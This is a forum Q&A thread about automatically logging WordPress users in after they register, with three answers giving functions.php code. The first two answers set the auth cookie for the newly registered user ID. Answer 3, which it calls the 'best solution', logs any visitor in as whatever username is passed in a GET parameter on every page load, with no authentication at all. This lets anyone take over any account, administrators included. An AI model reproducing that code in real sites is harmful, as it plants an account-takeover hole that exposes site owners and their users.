Autologin user after registration Wordpress - wordpress

Question

I am trying to autologin a user after registration.
I am trying this in functions.php file:
add_action( 'user_register', 'auto_login_user' );
function auto_login_user($user_id) {
$user = new WP_User($user_id);
$user_login_var = $user->user_login;
$user_email_var = stripslashes($user->user_email);
$user_pass_var = $user->user_pass;
$creds = array();
$creds['user_login'] = $user_login_var;
$creds['user_password'] = $user_pass_var;
$creds['remember'] = true;
$user = wp_signon( $creds, false );
if ( is_wp_error($user) )
echo $user->get_error_message();
}
I am getting ERROR:
The password you entered for the username "TheNewUserCreated" is incorrect. Lost your password?
How Can I take the password from the User object?
Also because this is a custom registration process in template registration.php I tried to take it with $_POST and run the function in that file but I didnt have any success that way too...
EDIT:
Ok I am getting the encrypted password, so what is the solution here, how can I autologin the user? Maybe I can do this in registration.php page?

Answer 1

Add below function to functions.php file
function auto_login_new_user( $user_id ) {
wp_set_current_user($user_id);
wp_set_auth_cookie($user_id);
// You can change home_url() to the specific URL,such as
//wp_redirect( 'http://www.wpcoke.com' );
wp_redirect( home_url() );
exit;
}
add_action( 'user_register', 'auto_login_new_user' );

Answer 2

If you are using wp_insert_user(); to register your users then to auto-login them it's simple.
This function returns the user ID if success, so use it to login that user.
$id = wp_insert_user($data);
//so if the return is not an wp error object then continue with login
if(!is_wp_error($id)){
wp_set_current_user($id); // set the current wp user
wp_set_auth_cookie($id); // start the cookie for the current registered user
}
but to follow what you have already it can be like this:
add_action( 'user_register', 'auto_login_user' );
function auto_login_user($user_id) {
wp_set_current_user($user_id); // set the current wp user
wp_set_auth_cookie($user_id); // start the cookie for the current registered user
}
//this code is a bit tricky, if you are admin and you want to create a user then your admin session will be replaced with the new user you created :)

Answer 3

function auto_login() {
$getuserdata=get_user_by('login',$_GET['login']);
$tuserid=$getuserdata->ID;
$user_id = $tuserid;
$user = get_user_by( 'id', $user_id );
if( $user ) {
wp_set_current_user( $user_id, $user->user_login );
wp_set_auth_cookie( $user_id );
do_action( 'wp_login', $user->user_login );
}
}
add_action('init', 'auto_login');
i had have the same problem as your and found this best solution. try this in your functions.php file. and one thing more use submit your reset form in a function in functions.php file